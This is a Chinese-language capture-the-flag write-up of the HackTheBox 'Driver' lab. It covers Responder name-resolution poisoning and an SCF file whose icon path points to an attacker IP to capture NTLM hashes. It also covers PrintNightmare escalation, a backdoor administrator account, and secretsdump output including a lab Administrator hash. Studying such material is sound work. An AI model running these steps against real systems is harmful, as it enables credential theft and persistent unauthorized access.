Back

打靶记录-Driver

以往的打靶记录都聚焦与打靶过程中的思考与流程,与网上随处可见的WalkThrough差别不大,因此之后我打算聚焦于记录在打靶过程中学到的新知识或思路。

靶机是来自HTB的Driver,感谢Yuro送来的一个月vip+

攻击路径

立足点:Web认证爆破->SMB共享scf文件攻击->responder捕获认证哈希->爆破哈希->登录WinRM

提权:winpeas枚举->检查Spooler存在漏洞->N-day提权

攻击面分析

web信息收集完成后,获得如下信息:

  1. 目标不属于域环境
  2. 文件上传无法通过web页面利用,上传的文件会放在SMB的文件共享中
  3. SMB服务有交互,但无权限访问,且并未枚举出有效信息
  4. 5985端口,即WinRM服务开放,但需要有凭据才能交互

涉及知识点:

  1. 内网认证机制
  2. 内网协议

Windows内网认证机制

非域环境下,一般采用的是NTLM认证,早期是LM(Line Manager),由于安全性过低,因此诞生了NTLMv1,在这基础上又诞生了安全性更高的NTLMv2,但在使用弱密码的情况下,还是存在被破解的可能

在非域环境中的具体认证流程如下

内网协议降级

Windows默认开启的三种基本协议:LLMNR、NBNS、MDNS,具体介绍请点此处
三种协议的主要作用是在DNS服务器解析失败后,尝试对windows主机名称进行解析

例如,在win10主机上ping一个不存在的主机名,会按如下流程尝试解析:

  1. 查看本地hosts文件
  2. 查看DNS缓存
  3. 通过DNS服务器查找
  4. 尝试用LLMNR、NBNS、MDNS协议进行解析

测试:

可以看到当DNS解析失败后,用LLMNR与MDNS协议向两个多播地址进行广播,用NBNS协议向广播地址进行广播

这里,可以使用responder来欺骗目标,原理和ARP欺骗大致相同
启动responder:

可以看到这次解析到了攻击机192.168.111.132上,responder这里也有对应的解析日志

通过Responder获取Hash

通过组合以上两个知识点,可以实现通过responder欺骗来获取目标主机的NTLM hash,
此事在红队思维1-关于红队攻防和玩俄罗斯方块的共性中亦有记载

windows中,基于NTLM认证的有SMB、HTTP、LDAP、MSSQL等服务,通过responder,我们可以模拟正常的SMB协议来获得目标主机的NTLM hash

运行responder后,使用net use尝试连接一个不存在的主机名

可以看到成功获取到了目标用户的NTLM hash,接下来使用hashcat尝试破解即可

除net use外还有很多命令能够触发带有NTLM的访问,只要和SMB相关就可以,在此就不展开了

当然,除了responder,使用impacket中的smberver也可以实现,不过连接时的UNC路径中的ip需要替换为攻击机的ip,否则不会解析到攻击机上,共享路径则没有特定需求

SMB共享scf文件攻击

根据这台靶机的情况,我们还需要一个触发带有NTLM访问的途径,常见的攻击手法便是利用SMB共享scf文件攻击,虽然我们没有SMB文件共享的写权限,但是可以通过上传点将scf文件传入文件共享

scf文件:即shell命令文件,可以在windows资源管理器中执行一组有限的操作,如显示桌面或打开资源管理器。但是scf文件还可以用来访问一个特定的UNC路径,实现访问SMB共享文件,格式如下:

1
2
3
4
5
[Shell]
Command=2
IconFile=\\X.X.X.X\share\test.ico
[Taskbar]
Command=ToggleDesktop

如此,攻击思路就很清晰了,构建scf文件上传至目标的SMB文件共享中,同时启动responder或smbserver,拦截到目标的NTLMv2 hash后进行爆破,即可获取目标的凭据,随后使用evil-winrm与目标5985端口进行连接即可

内网信息收集

利用winPEAS辅助收集,优先尝试文件不落地的执行方式,无果后再通过evil-winrm上传文件本体至目标主机,将执行结果输出并拉取到本地查看

在powershell的历史记录文件中可以看到添加打印机的操作

可以来检查下是否开启了spooler服务,nxc中有模块可以直接检查,也可以在shell中查看进程

在网络上检索了相关信息后,发现一个著名的打印机漏洞:PrintNightmare
nxc中也有相关的检查模块,甚至贴心地给出了漏洞exp

由于漏洞是通过dll利用,因此还需要生成一个payload,使用msfvenom进行生成,上传至目标后运行exp即可反弹shell,过程繁琐,不展开了

权限持久化

学习了一下windows中如何做权限持久化,当是留个后门

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
//确认权限是system
C:\Windows\system32>whoami
whoami
nt authority\system

//新建用户
C:\Windows\system32>net user wuhu Wuhu114514. /add
net user wuhu Wuhu114514. /add
The command completed successfully.

//将用户添加到管理员组
C:\Windows\system32>net localgroup administrators wuhu /add
net localgroup administrators wuhu /add
The command completed successfully.

利用secretsdump转储SAM中的hash,之后就可以用这个hash登录

1
2
3
4
5
6
7
8
9
kali@kali:~/HTB/Driver$ sudo impacket-secretsdump 'wuhu:Wuhu114514.'@driver.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe5b3cda034afd685bc69ccd3c4e9387c
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d1256cff8b5b5fdb8c327d3b6c3f5017:::